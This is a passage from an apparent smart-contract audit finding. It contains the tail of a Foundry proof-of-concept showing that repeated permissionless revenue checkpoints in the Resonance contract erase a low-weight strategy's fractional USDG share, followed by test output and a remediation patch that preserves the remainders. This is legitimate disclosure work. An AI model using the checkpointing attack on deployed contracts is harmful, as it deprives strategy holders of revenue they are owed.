        Launchpad.LaunchConfig memory config = _launchConfig(address(usdg));
        config.creatorCoinAmount = creatorGrant;
        config.autoSignalCreator = false;

        launch = launchpad.launch(
            "PoC Coin", "POC", "ipfs://poc", CREATOR_FEE, address(0), config
        );

        Coin coin = Coin(launch.coin);
        SignalCoin signal = SignalCoin(launch.signalCoin);
        coin.approve(address(signal), creatorGrant);

        // Public SignalCoin entry points create a very small target allocation and a much
        // larger live allocation elsewhere, making the target's hourly share sub-unit.
        signal.addSignal(launch.auctions[0], TARGET_SIGNAL);
        signal.addSignal(launch.auctions[2], OTHER_SIGNAL);
    }

    function _route(address router) internal returns (uint256 amount) {
        (bool ok, bytes memory ret) = router.call(abi.encodeWithSignature("route()"));
        require(ok, "route failed");
        amount = abi.decode(ret, (uint256));
    }
}
```
### Setup script

```
#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   packages/contracts/test/minimal/Poc.t.sol

# build and run
cd 'packages/contracts'
forge build
forge test --match-path test/minimal/Poc.t.sol -vv
```
### Output

```
[output truncated: 1182 lines & 64.1318359375 KB skipped]
[test] forge test --match-path test/minimal/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/minimal/Poc.t.sol:Poc
[PASS] test_Poc() (gas: 47275453)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 594.40ms (14.48ms CPU time)

Ran 1 test suite in 595.35ms (594.40ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
### Considerations

PoC executed successfully with `forge test --match-path test/minimal/Poc.t.sol -vv` using the `unit:contracts` Foundry harness. It proves the direct public `Resonance.distributeRevenue(strategy)` attack path on real deployed protocol contracts by comparing an uninterrupted launch that pays the low-weight strategy positive USDG against an otherwise identical launch where attacker-triggered hourly checkpoints make the target receive zero. The PoC does not additionally exercise the `Auction.buy()` auto-trigger variant because the direct permissionless entry point is sufficient to demonstrate the defect and impact.
### Validation reasoning

PoC validation command completed successfully.
## Remediation
### Explanation

Preserve each strategy's sub-USDG fixed-point remainder across revenue checkpoints, folding it into subsequent accrual in both state updates and earnedRevenue views, so permissionless frequent checkpointing cannot discard fractional entitlement.
### Patch

```diff
diff --git a/packages/contracts/src/core/Resonance.sol b/packages/contracts/src/core/Resonance.sol
--- a/packages/contracts/src/core/Resonance.sol
+++ b/packages/contracts/src/core/Resonance.sol
@@ -1,606 +1,614 @@
 // SPDX-License-Identifier: GPL-3.0-or-later
 pragma solidity 0.8.26;
 
 import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
 import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
 import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
 
 import { Bribe } from "./Bribe.sol";
 import { BribeFactory } from "./BribeFactory.sol";
 import { BribeRouter } from "./BribeRouter.sol";
 import { Auction } from "./Auction.sol";
 import { AuctionFactory } from "./AuctionFactory.sol";
 import { IResonance } from "./interfaces/IResonance.sol";
 
 /// @title Glazecorp Signal-Directed Revenue Allocator
 /// @author heesho
 /// @notice Streams USDG revenue to live Strategies in proportion to their SignalCoin weights.
 /// @dev A Strategy is an Auction, BribeRouter, and Bribe, identified by its Auction address. Uses a Synthetix-style
 ///      seven-day stream and a global revenue-per-signal index. Only SignalCoin can change
 ///      weights; each paired Bribe records its Strategy's account and total weights. Changes checkpoint prior weights.
 ///      Killing a Strategy preserves its accrued claim, removes its weight from the active total, and stops future
 ///      revenue accrual while allowing existing signal to exit. The index uses 1e36 precision for six-decimal USDG and
 ///      eighteen-decimal SignalCoin, but all accounting uses raw units and does not enforce token decimals. USDG
 ///      must be a standard, non-rebasing ERC-20; SafeERC20 does not verify balance deltas. Saved rate-division
 ///      remainders join the next qualifying stream. Index and Strategy rounding leaves unallocated USDG surplus.
 contract Resonance is ReentrancyGuard, Ownable, IResonance {
     using SafeERC20 for IERC20;
 
     /// @notice Global USDG streaming schedule and cumulative allocation index.
     /// @param periodFinish Unix timestamp when the active stream stops accruing.
     /// @param revenueRate Whole raw USDG units emitted per second during the active stream.
     /// @param lastUpdateTime Unix timestamp through which `revenuePerSignalStored` has been checkpointed.
     /// @param revenuePerSignalStored Cumulative raw USDG allocation scaled by `REWARD_PRECISION` per raw signal unit.
     struct RevenueData {
         uint256 periodFinish;
         uint256 revenueRate;
         uint256 lastUpdateTime;
         uint256 revenuePerSignalStored;
     }
 
     /// @notice Fixed duration of every USDG revenue stream, in seconds.
     uint256 public constant override REWARD_DURATION = 7 days;
     /// @notice Fixed-point precision used to allocate raw USDG units across raw SignalCoin units.
     uint256 public constant REWARD_PRECISION = 1e36;
     /// @notice Maximum cumulative raw USDG units accepted over this contract's lifetime.
     /// @dev Coupled to `REWARD_PRECISION` so the cumulative revenue-per-signal index remains representable.
     uint256 public constant MAX_LIFETIME_REVENUE_AMOUNT = type(uint256).max / REWARD_PRECISION;
     /// @notice Basis-point denominator used to split each Auction payment between Fund and its paired BribeRouter.
     uint256 public constant BPS = 10_000;
     /// @notice Initial community-mode Auction-payment share assigned to the paired BribeRouter, in basis points.
     uint256 public constant DEFAULT_BRIBE_BPS = 1_000;
     /// @notice Maximum prospective Auction-payment share assignable to a paired BribeRouter, in basis points.
     uint256 public constant MAX_BRIBE_BPS = 2_000;
     /// @notice Immutable non-transferable receipt and sole coordinator allowed to change Strategy signal weights.
     IERC20 public immutable signalCoin;
     /// @notice Immutable USDG revenue token streamed to Strategies and accounted for only in raw token units.
     IERC20 public immutable usdg;
     /// @notice Immutable treasury that receives the non-Bribe share of every Auction payment.
     address public immutable fund;
     /// @notice Immutable shared stateless factory used to deploy one caller-controlled Bribe per Strategy.
     BribeFactory public immutable bribeFactory;
     /// @notice Immutable shared stateless factory used to deploy Auctions and BribeRouters for this Resonance.
     AuctionFactory public immutable auctionFactory;
 
     /// @notice Current global stream timestamps, whole-unit rate, and checkpointed revenue-per-signal index.
     RevenueData public revenueData;
     /// @notice Cumulative raw USDG units accepted through revenue notifications.
     /// @dev Counts fresh funding once and never resets. Excludes donations, remaining scheduled revenue,
     ///      and saved remainders.
     uint256 public lifetimeRevenueNotified;
     /// @notice Per-Strategy checkpoint of the scaled global revenue-per-signal index already incorporated into accrual.
     mapping(address strategy => uint256 paid) public strategyRevenuePerSignalPaid;
     /// @notice Stored whole raw USDG units accrued and not yet transferred to each registered Strategy.
     mapping(address strategy => uint256 revenue) public strategyRevenue;
+    /// @dev Per-Strategy scaled USDG remainder below one raw unit, preserved across checkpoints.
+    mapping(address strategy => uint256 remainder) private _strategyRevenueRemainder;
 
     /// @notice Total raw SignalCoin weight across live Strategies currently eligible for Resonance revenue.
     uint256 public override totalSignalWeight;
     /// @notice Number of registered Strategies that remain eligible for new signal and future Resonance revenue.
     uint256 public liveStrategyCount;
     /// @notice Monotonic number of Strategies ever registered by this Resonance, including later-killed Strategies.
     /// @dev Unlike `liveStrategyCount`, this counter never decreases when a Strategy is killed.
     uint256 public strategyCount;
 
     /// @notice Whether a registered Strategy can receive new signal and accrue future Resonance revenue.
     mapping(address strategy => bool live) public isStrategyLive;
     /// @notice Canonical Bribe virtual-weight and reward contract paired with each registered Strategy.
     mapping(address strategy => address bribe) public bribeFor;
     /// @notice Bribe-only payment-token buffer paired with each registered Strategy.
     mapping(address strategy => address router) public override bribeRouterFor;
     /// @notice Permanently bound ResonanceRouter authorized to fund revenue; zero before binding.
     address public resonanceRouter;
     /// @notice Wallet exclusively authorized to add signal, or zero while community signaling is open.
     /// @dev The Resonance owner may replace a nonzero manager. Replacement affects only later signal additions; every
     ///      existing position remains owned, claimable, and removable by the account that created it.
     address public signalManager;
     /// @notice Current prospective share of each Auction payment sent to its BribeRouter, in basis points.
     uint256 public override bribeBps;
 
     /// @dev Saved rate-division remainder for the next qualifying stream, below `REWARD_DURATION` raw USDG units.
     uint256 private _revenueRemainder;
 
     /// @notice Emitted when governance changes the prospective automatic-Bribe share.
     /// @param previousBribeBps Prior global payment share in basis points.
     /// @param newBribeBps New global payment share in basis points, applied only to later purchases.
     event BribeBpsSet(uint256 previousBribeBps, uint256 newBribeBps);
     /// @notice Emitted when governance registers another independently fundable reward token on a paired Bribe.
     /// @param strategy Registered Strategy whose Bribe received the token.
     /// @param bribe Paired Bribe on which the token was registered.
     /// @param rewardToken ERC-20 reward token added to the Bribe's append-only registry.
     event BribeRewardTokenAdded(address indexed strategy, address indexed bribe, address indexed rewardToken);
     /// @notice Emitted when managed signaling is irreversibly opened to every Coin holder.
     /// @param previousSignalManager Last wallet that held exclusive signal-addition authority.
     event CommunitySignalOpened(address indexed previousSignalManager);
     /// @notice Emitted when nonzero accrued USDG is transferred to its entitled Strategy.
     /// @param caller Account that permissionlessly triggered distribution.
     /// @param strategy Registered Strategy's Auction that received the USDG.
     /// @param amount Whole raw USDG units transferred.
     event RevenueDistributed(address indexed caller, address indexed strategy, uint256 amount);
     /// @notice Emitted when ResonanceRouter funds and restarts the global USDG stream.
     /// @param resonanceRouter Bound Router that supplied the tokens.
     /// @param amount Fresh raw USDG pulled, excluding remaining scheduled revenue and the saved remainder.
     event RevenueNotified(address indexed resonanceRouter, uint256 amount);
     /// @notice Emitted when the sole ResonanceRouter is permanently bound.
     /// @param resonanceRouter Router that was bound.
     event ResonanceRouterSet(address indexed resonanceRouter);
     /// @notice Emitted when SignalCoin adds weight for an account to a live Strategy.
     /// @param account SignalCoin holder whose paired-Bribe virtual balance increased.
     /// @param strategy Live Strategy whose aggregate signal weight increased.
     /// @param amount Raw SignalCoin units added.
     event SignalAdded(address indexed account, address indexed strategy, uint256 amount);
     /// @notice Emitted when governance replaces the wallet authorized to make later managed signal additions.
     /// @param previousSignalManager Prior operating wallet.
     /// @param newSignalManager New operating wallet.
     event SignalManagerSet(address indexed previousSignalManager, address indexed newSignalManager);
     /// @notice Emitted when SignalCoin removes weight for an account from a Strategy.
     /// @param account SignalCoin holder whose paired-Bribe virtual balance decreased.
     /// @param strategy Registered live or killed Strategy whose signal weight decreased.
     /// @param amount Raw SignalCoin units removed.
     event SignalRemoved(address indexed account, address indexed strategy, uint256 amount);
     /// @notice Emitted when governance atomically registers an Auction, BribeRouter, and Bribe as one Strategy.
     /// @param strategy Newly deployed Auction identifying the registered Strategy.
     /// @param bribe Newly deployed Bribe and canonical signal-weight ledger for the Strategy.
     /// @param bribeRouter Newly deployed buffer for the automatic payment-token Bribe share.
     /// @param paymentToken ERC-20 buyers must pay to fill the Auction.
     event StrategyAdded(
         address indexed strategy, address indexed bribe, address indexed bribeRouter, address paymentToken
     );
     /// @notice Emitted when governance permanently kills a Strategy after checkpointing its accrued revenue.
     /// @param strategy Strategy excluded from new signal and all later Resonance revenue.
     event StrategyKilled(address indexed strategy);
 
     /// @notice Raised when a managed fund attempts to enable a nonzero automatic-Bribe share.
     /// @param requested Requested nonzero share in basis points.
     error ManagedFundBribeBpsNonzero(uint256 requested);
     /// @notice Raised when a manager change or community opening is requested after community signaling is open.
     error CommunitySignalAlreadyOpen();
     /// @notice Raised when a requested automatic-Bribe share exceeds `MAX_BRIBE_BPS`.
     /// @param requested Requested share in basis points.
     error BribeBpsAboveMaximum(uint256 requested);
     /// @notice Raised when the caller supplies no Strategies to a Bribe-reward claim batch.
     error EmptyClaimBatch();
     /// @notice Raised when killing a Strategy would remove the final live Strategy after protocol bootstrap.
     /// @param strategy Final live Strategy that governance attempted to kill.
     error FinalLiveStrategy(address strategy);
     /// @notice Raised when governance attempts to use SignalCoin as a Strategy payment token.
     /// @param token Forbidden SignalCoin token address.
     error ForbiddenPaymentToken(address token);
     /// @notice Raised when governance attempts to register SignalCoin as a Bribe reward token.
     /// @param token Forbidden SignalCoin token address.
     error ForbiddenRewardToken(address token);
     /// @notice Raised when an account attempts to remove more signal than its paired-Bribe balance.
     /// @param strategy Strategy from which removal was requested.
     /// @param available Raw signal units currently recorded for the account in the paired Bribe.
     /// @param requested Raw signal units requested for removal.
     error InsufficientSignal(address strategy, uint256 available, uint256 requested);
     /// @notice Raised when the one-time ResonanceRouter binding has already completed.
     /// @param resonanceRouter Permanently bound Router.
     error ResonanceRouterAlreadySet(address resonanceRouter);
     /// @notice Raised when fresh funding is smaller than the revenue remaining in the active schedule.
     /// @param amount Newly proposed raw USDG amount.
     /// @param remaining Raw USDG units still scheduled at the prior whole-unit rate.
     error RevenueBelowRemaining(uint256 amount, uint256 remaining);
     /// @notice Raised when a notification would exceed the lifetime revenue admission cap.
     /// @param notified Cumulative raw USDG units previously accepted.
     /// @param requested Fresh raw USDG units requested in this notification.
     /// @param maximum Maximum cumulative raw USDG units Resonance may accept.
     error RevenueLifetimeCapExceeded(uint256 notified, uint256 requested, uint256 maximum);
     /// @notice Raised when a killed Strategy is targeted by another kill or a signal addition.
     /// @param strategy Permanently killed Strategy.
     error StrategyAlreadyDead(address strategy);
     /// @notice Raised when an operation requires a registered Strategy but receives an unknown address.
     /// @param strategy Unregistered address.
     error StrategyNotFound(address strategy);
     /// @notice Raised when revenue notification does not originate from the bound ResonanceRouter.
     /// @param caller Unauthorized caller.
     error UnauthorizedRevenueSource(address caller);
     /// @notice Raised when an account other than the current nonzero signal manager attempts to add signal.
     /// @param account Unauthorized Coin holder whose addition was requested.
     error UnauthorizedSignaler(address account);
     /// @notice Raised when signal accounting does not originate from the immutable SignalCoin coordinator.
     /// @param caller Unauthorized caller.
     error UnauthorizedSignalSource(address caller);
     /// @notice Raised when a required address is zero or a required contract dependency has no deployed code.
     error ZeroAddress();
     /// @notice Raised when a signal delta or notified revenue amount is zero.
     error ZeroAmount();
 
     /// @dev Restricts revenue notifications to the sole Router stored in `resonanceRouter`.
     modifier onlyResonanceRouter() {
         if (msg.sender != resonanceRouter) revert UnauthorizedRevenueSource(msg.sender);
         _;
     }
 
     /// @dev Restricts signal-weight mutations to the immutable `signalCoin` coordinator.
     modifier onlySignalCoin() {
         if (msg.sender != address(signalCoin)) revert UnauthorizedSignalSource(msg.sender);
         _;
     }
 
     /// @notice Creates the allocator with immutable token, Fund, factory, and initial governance dependencies.
     /// @dev Every token, Fund, and factory dependency must be nonzero and have deployed code. OpenZeppelin `Ownable`
     ///      rejects a zero `initialOwner`; later owner transfers take effect immediately. `initialSignalManager` may be any
     ///      wallet or zero. The shared factories derive authority from this calling Resonance and retain no binding
     ///      state; SignalCoin and ResonanceRouter are bound separately during canonical Launchpad assembly.
     /// @param signalCoin_ Non-transferable signal receipt and sole signal coordinator.
     /// @param usdg_ ERC-20 revenue token; canonical deployments use USDG with six decimals, which is not enforced.
     /// @param fund_ Treasury receiving the non-Bribe share of Auction payments.
     /// @param bribeFactory_ Shared stateless factory that deploys each Strategy's caller-controlled Bribe.
     /// @param auctionFactory_ Shared stateless factory for this Resonance's Auction and BribeRouter pairs.
     /// @param initialOwner Deployment-time governance address for the bounded administration surface.
     /// @param initialSignalManager Exclusive signal-adding wallet, or zero to begin with community signaling.
     constructor(
         IERC20 signalCoin_,
         IERC20 usdg_,
         address fund_,
         BribeFactory bribeFactory_,
         AuctionFactory auctionFactory_,
         address initialOwner,
         address initialSignalManager
     ) Ownable(initialOwner) {
         if (
             address(signalCoin_) == address(0) || address(usdg_) == address(0) || fund_ == address(0)
                 || address(bribeFactory_) == address(0) || address(auctionFactory_) == address(0)
                 || address(signalCoin_).code.length == 0 || address(usdg_).code.length == 0 || fund_.code.length == 0
                 || address(bribeFactory_).code.length == 0 || address(auctionFactory_).code.length == 0
         ) revert ZeroAddress();
 
         signalCoin = signalCoin_;
         usdg = usdg_;
         fund = fund_;
         bribeFactory = bribeFactory_;
         auctionFactory = auctionFactory_;
         signalManager = initialSignalManager;
         bribeBps = initialSignalManager == address(0) ? DEFAULT_BRIBE_BPS : 0;
     }
 
     /// @notice Adds signal weight for an account to a live Strategy.
     /// @dev Callable only by SignalCoin. Checkpoints prior Strategy weight before increasing the active total
     ///      and paired-Bribe balances. Managed signaling requires `account` to be the current `signalManager`.
     /// @param account Nonzero SignalCoin holder whose paired-Bribe weight increases.
     /// @param strategy Live registered Strategy receiving the weight.
     /// @param amount Nonzero raw SignalCoin units to add.
     function addSignalFor(address account, address strategy, uint256 amount)
         external
         override
         nonReentrant
         onlySignalCoin
     {
         if (account == address(0)) revert ZeroAddress();
         address manager = signalManager;
         if (manager != address(0) && account != manager) revert UnauthorizedSignaler(account);
         if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
         if (!isStrategyLive[strategy]) revert StrategyAlreadyDead(strategy);
         if (amount == 0) revert ZeroAmount();
 
         _updateRevenue(strategy);
 
         totalSignalWeight += amount;
         Bribe(bribeFor[strategy]).addSignalWeight(account, amount);
 
         emit SignalAdded(account, strategy, amount);
     }
 
     /// @notice Removes signal weight for an account from a registered Strategy.
     /// @dev Callable only by SignalCoin. Checkpoints the Strategy's prior weight before decreasing paired-Bribe
     ///      balances. Killed Strategies still allow exits; their weight was already removed from `totalSignalWeight`
     ///      at kill time and is not subtracted again.
     /// @param account Nonzero SignalCoin holder whose paired-Bribe weight decreases.
     /// @param strategy Registered live or killed Strategy losing the weight.
     /// @param amount Nonzero raw SignalCoin units to remove, no greater than the account's paired-Bribe balance.
     function removeSignalFor(address account, address strategy, uint256 amount)
         external
         override
         nonReentrant
         onlySignalCoin
     {
         if (account == address(0)) revert ZeroAddress();
         if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
         if (amount == 0) revert ZeroAmount();
 
         Bribe bribe = Bribe(bribeFor[strategy]);
         uint256 allocated = bribe.signalWeightOf(account);
         if (amount > allocated) revert InsufficientSignal(strategy, allocated, amount);
 
         _updateRevenue(strategy);
 
         if (isStrategyLive[strategy]) totalSignalWeight -= amount;
         bribe.removeSignalWeight(account, amount);
 
         emit SignalRemoved(account, strategy, amount);
     }
 
     /// @notice Claims every registered reward token from each selected Strategy's canonical Bribe for the caller.
     /// @dev The beneficiary is always `msg.sender`; no caller may advance another account's reward checkpoint. Each
     ///      Strategy must be registered but may be live or killed. Duplicate Strategies execute sequentially. The outer
     ///      array is caller-controlled and each Bribe loops over at most sixteen reward tokens, so callers must split a
     ///      batch that would exceed available gas. Any failed reward-token transfer reverts the complete batch; direct
     ///      scalar `Bribe.claimReward` remains the broken-token and bounded-gas fallback.
     /// @param strategies Registered Strategies whose canonical Bribes should pay the caller.
     function claimBribeRewards(address[] calldata strategies) external override nonReentrant {
         uint256 count = strategies.length;
         if (count == 0) revert EmptyClaimBatch();
 
         for (uint256 i; i < count; ++i) {
             address strategy = strategies[i];
             if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
             Bribe(bribeFor[strategy]).claimRewards(msg.sender);
         }
     }
 
     /// @notice Pulls newly routed USDG and restarts the global seven-day revenue stream.
     /// @dev Callable only by ResonanceRouter. Fresh funding must meet `remainingRevenue()` and fit the lifetime cap;
     ///      these checks precede checkpointing and transfer. The new budget combines fresh funding, remaining scheduled
     ///      revenue, and the saved rate-division remainder. Division by `REWARD_DURATION` sets the whole-unit rate and
     ///      saves a new remainder for the next qualifying stream's Strategy weights. The remainder stays pending if no
     ///      further funding qualifies. Only fresh funding increases the lifetime counter. ResonanceRouter also requires
     ///      at least `REWARD_DURATION` fresh raw units to keep the rate nonzero. Transfers use nominal amounts without
     ///      balance-delta checks under the standard-token assumption.
     /// @param amount Nonzero fresh raw USDG to pull, excluding remaining scheduled revenue and the saved remainder.
     function notifyRevenue(uint256 amount) external override nonReentrant onlyResonanceRouter {
         if (amount == 0) revert ZeroAmount();
 
         uint256 notified = lifetimeRevenueNotified;
         uint256 maximum = MAX_LIFETIME_REVENUE_AMOUNT;
         if (amount > maximum - notified) {
             revert RevenueLifetimeCapExceeded(notified, amount, maximum);
         }
 
         uint256 remaining = remainingRevenue();
         if (amount < remaining) revert RevenueBelowRemaining(amount, remaining);
 
         _updateRevenue(address(0));
         usdg.safeTransferFrom(msg.sender, address(this), amount);
 
         RevenueData storage data = revenueData;
         uint256 budget = amount + remaining + _revenueRemainder;
         data.revenueRate = budget / REWARD_DURATION;
         _revenueRemainder = budget % REWARD_DURATION;
         data.lastUpdateTime = block.timestamp;
         data.periodFinish = block.timestamp + REWARD_DURATION;
         lifetimeRevenueNotified = notified + amount;
 
         emit RevenueNotified(msg.sender, amount);
     }
 
     /// @notice Checkpoints a registered Strategy's accrued USDG and transfers it to that Strategy's Auction.
     /// @dev Permissionless, including for killed Strategies. Index conversion rounds down to whole raw USDG units.
     ///      A failed transfer reverts the checkpoint and claim reset.
     /// @param strategy Auction address identifying the registered Strategy and receiving its USDG.
     /// @return amount Whole raw USDG units transferred, or zero when no revenue is accrued.
     function distributeRevenue(address strategy) external override nonReentrant returns (uint256 amount) {
         _updateRevenue(strategy);
         if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
 
         amount = strategyRevenue[strategy];
         if (amount == 0) return 0;
 
         strategyRevenue[strategy] = 0;
         usdg.safeTransfer(strategy, amount);
 
         emit RevenueDistributed(msg.sender, strategy, amount);
     }
 
     /// @notice Binds a permanent ResonanceRouter for USDG revenue notifications.
     /// @dev Callable only by the current owner and only before a Router is bound. The candidate must be a nonzero
     ///      deployed contract. The binding cannot be replaced or cleared.
     /// @param resonanceRouter_ Router contract to bind.
     function setResonanceRouter(address resonanceRouter_) external onlyOwner {
         if (resonanceRouter != address(0)) revert ResonanceRouterAlreadySet(resonanceRouter);
         if (resonanceRouter_ == address(0) || resonanceRouter_.code.length == 0) revert ZeroAddress();
 
         resonanceRouter = resonanceRouter_;
         emit ResonanceRouterSet(resonanceRouter_);
     }
 
     /// @notice Sets the prospective paired-Bribe share for every later Auction purchase.
     /// @dev Callable only by the current owner. Community mode accepts values from zero through `MAX_BRIBE_BPS`;
     ///      manager-directed mode accepts only zero. Each Auction snapshots this value before token interaction, so
     ///      earlier and in-flight purchases and active Bribe reward streams are not repriced.
     /// @param newBribeBps New global share in basis points; nonzero values require community signaling.
     function setBribeBps(uint256 newBribeBps) external onlyOwner {
         if (newBribeBps > MAX_BRIBE_BPS) revert BribeBpsAboveMaximum(newBribeBps);
         if (signalManager != address(0) && newBribeBps != 0) revert ManagedFundBribeBpsNonzero(newBribeBps);
 
         uint256 previousBps = bribeBps;
         bribeBps = newBribeBps;
 
         emit BribeBpsSet(previousBps, newBribeBps);
     }
 
     /// @notice Replaces the operating wallet authorized to make future managed signal additions.
     /// @dev Callable only by the owner while `signalManager` remains nonzero. Existing signal is not moved, removed, or
     ///      reassigned. A former manager keeps its claims and exits but cannot add while another manager is assigned.
     ///      A zero candidate is rejected; `openToCommunity` is the sole path that clears the manager.
     /// @param newSignalManager Nonzero wallet receiving future signal-addition authority.
     function setSignalManager(address newSignalManager) external onlyOwner {
         if (signalManager == address(0)) revert CommunitySignalAlreadyOpen();
         if (newSignalManager == address(0)) revert ZeroAddress();
 
         address previousSignalManager = signalManager;
         signalManager = newSignalManager;
 
         emit SignalManagerSet(previousSignalManager, newSignalManager);
     }
 
     /// @notice Opens signal additions to every Coin holder permanently.
     /// @dev Callable only by the owner while a nonzero manager exists. Existing manager positions remain unchanged.
     ///      The automatic Bribe share remains zero until governance later chooses a value through
     ///      `setBribeBps`; no function can restore managed signaling.
     function openToCommunity() external onlyOwner {
         address previousSignalManager = signalManager;
         if (previousSignalManager == address(0)) revert CommunitySignalAlreadyOpen();
 
         signalManager = address(0);
 
         emit CommunitySignalOpened(previousSignalManager);
     }
 
     /// @notice Creates an Auction, Bribe, and BribeRouter and registers them as one Strategy.
     /// @dev Callable only by the current owner. `paymentToken` must be a deployed ERC-20-like contract and cannot be
     ///      SignalCoin. The payment token becomes the paired Bribe's first reward token. The new Strategy starts
     ///      at the stored global revenue index with zero signal weight, so it cannot claim historical revenue.
     ///      A factory or constructor failure reverts the complete graph creation.
     /// @param paymentToken ERC-20 asset buyers must pay to fill the new Auction; also the Strategy's automatic
     ///        Bribe reward token.
     /// @param config Immutable Dutch-auction configuration for the new Auction.
     /// @return strategyAddress Newly deployed Auction identifying the registered Strategy.
     /// @return bribeAddress Newly deployed Bribe and canonical signal-weight ledger for the Strategy.
     /// @return bribeRouterAddress Newly deployed buffer for the Strategy's automatic Bribe share.
     function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
         external
         nonReentrant
         onlyOwner
         returns (address strategyAddress, address bribeAddress, address bribeRouterAddress)
     {
         if (address(paymentToken) == address(signalCoin)) {
             revert ForbiddenPaymentToken(address(paymentToken));
         }
 
         Bribe bribe = bribeFactory.createBribe();
         bribe.addRewardToken(address(paymentToken));
 
         (Auction auction, BribeRouter bribeRouter) =
             auctionFactory.createAuctionAndRouter(usdg, paymentToken, fund, bribe, config);
 
         strategyAddress = address(auction);
         bribeAddress = address(bribe);
         bribeRouterAddress = address(bribeRouter);
 
         bribeFor[strategyAddress] = bribeAddress;
         isStrategyLive[strategyAddress] = true;
         ++strategyCount;
         ++liveStrategyCount;
         bribeRouterFor[strategyAddress] = bribeRouterAddress;
         strategyRevenuePerSignalPaid[strategyAddress] = revenueData.revenuePerSignalStored;
 
         emit StrategyAdded(strategyAddress, bribeAddress, bribeRouterAddress, address(paymentToken));
     }
 
     /// @notice Disables new signal and future revenue for a registered Strategy permanently.
     /// @dev Callable only by the current owner. Checkpoints the Strategy under its full prior weight, preserves that
     ///      accrued USDG for later permissionless distribution, marks the Strategy dead, and removes its complete
     ///      paired-Bribe weight from the active total. Existing signal and Bribe rewards remain recorded and removable.
     ///      The final live Strategy cannot be killed.
     /// @param strategy Live registered Strategy to kill irreversibly.
     function killStrategy(address strategy) external nonReentrant onlyOwner {
         _updateRevenue(strategy);
         if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
         if (!isStrategyLive[strategy]) revert StrategyAlreadyDead(strategy);
         if (liveStrategyCount == 1) revert FinalLiveStrategy(strategy);
 
         isStrategyLive[strategy] = false;
         --liveStrategyCount;
         totalSignalWeight -= _strategySignalWeight(strategy);
 
         emit StrategyKilled(strategy);
     }
 
     /// @notice Registers an additional independently funded reward token on a registered Strategy's Bribe.
     /// @dev Callable only by the current owner. The Strategy may be live or killed. The reward token must be a deployed
     ///      contract and cannot be SignalCoin. The paired Bribe enforces its append-only sixteen-token registry,
     ///      duplicate rejection, and later notification rules.
     /// @param strategy Registered Strategy whose paired Bribe receives the token.
     /// @param rewardToken ERC-20 token to add to the paired Bribe's reward registry.
     function addBribeRewardToken(address strategy, address rewardToken) external onlyOwner {
         if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
         if (rewardToken == address(signalCoin)) revert ForbiddenRewardToken(rewardToken);
 
         address bribe = bribeFor[strategy];
         Bribe(bribe).addRewardToken(rewardToken);
 
         emit BribeRewardTokenAdded(strategy, bribe, rewardToken);
     }
 
     /// @notice Returns whether this Resonance permanently registered a Strategy identified by its Auction address.
     /// @dev Registration is derived from the append-only canonical Bribe mapping instead of duplicated storage.
     /// @param strategy Strategy address to query.
     /// @return registered True when `strategy` has a canonical Bribe.
     function isStrategyRegistered(address strategy) public view returns (bool registered) {
         return bribeFor[strategy] != address(0);
     }
 
     /// @notice Returns the current cumulative USDG allocation per raw unit of active SignalCoin weight.
     /// @dev Includes elapsed time through the earlier of the current timestamp and `periodFinish`. If active weight is
     ///      zero, the index does not increase and elapsed revenue becomes unallocated surplus. Index increments round
     ///      down at `REWARD_PRECISION`.
     /// @return accumulatedRevenue Cumulative raw USDG units multiplied by `REWARD_PRECISION` per raw signal unit.
     function revenuePerSignal() public view returns (uint256 accumulatedRevenue) {
         RevenueData storage data = revenueData;
         accumulatedRevenue = data.revenuePerSignalStored;
         if (totalSignalWeight == 0) return accumulatedRevenue;
 
         uint256 applicable = _lastApplicableRevenueTime();
         uint256 lastUpdate = data.lastUpdateTime;
         if (applicable <= lastUpdate) return accumulatedRevenue;
 
         uint256 emitted = (applicable - lastUpdate) * data.revenueRate;
         return accumulatedRevenue + Math.mulDiv(emitted, REWARD_PRECISION, totalSignalWeight);
     }
 
     /// @notice Returns one Strategy's stored plus currently elapsed USDG entitlement.
     /// @dev Only live Strategy weights receive elapsed allocation. A killed Strategy retains its checkpointed revenue.
     ///      Conversion from the scaled index rounds down to whole raw USDG units.
     /// @param strategy Strategy whose entitlement is queried.
     /// @return revenue Whole raw USDG units currently transferable to the Strategy's Auction.
     function earnedRevenue(address strategy) external view returns (uint256 revenue) {
         uint256 delta = revenuePerSignal() - strategyRevenuePerSignalPaid[strategy];
         uint256 activeBalance = isStrategyLive[strategy] ? _strategySignalWeight(strategy) : 0;
-        return strategyRevenue[strategy] + Math.mulDiv(activeBalance, delta, REWARD_PRECISION);
+        uint256 remainder = mulmod(activeBalance, delta, REWARD_PRECISION) + _strategyRevenueRemainder[strategy];
+        return strategyRevenue[strategy] + Math.mulDiv(activeBalance, delta, REWARD_PRECISION)
+            + remainder / REWARD_PRECISION;
     }
 
     /// @notice Returns the USDG still scheduled at the active stream's stored whole-unit rate.
     /// @dev Returns zero at or after `periodFinish`. This excludes already elapsed Strategy entitlements, the saved
     ///      rate-division remainder, zero-weight emissions, and direct token donations.
     /// @return amount Whole raw USDG units scheduled between the current timestamp and `periodFinish`.
     function remainingRevenue() public view override returns (uint256 amount) {
         RevenueData storage data = revenueData;
         if (block.timestamp >= data.periodFinish) return 0;
         return (data.periodFinish - block.timestamp) * data.revenueRate;
     }
 
     /// @dev Checkpoints the global index and optionally one Strategy before a weight or revenue state transition. The
     ///      zero address updates only global schedule state. For a nonzero live Strategy, accrual uses its paired
     ///      Bribe's weight before the caller changes it; killed Strategies preserve stored revenue without later
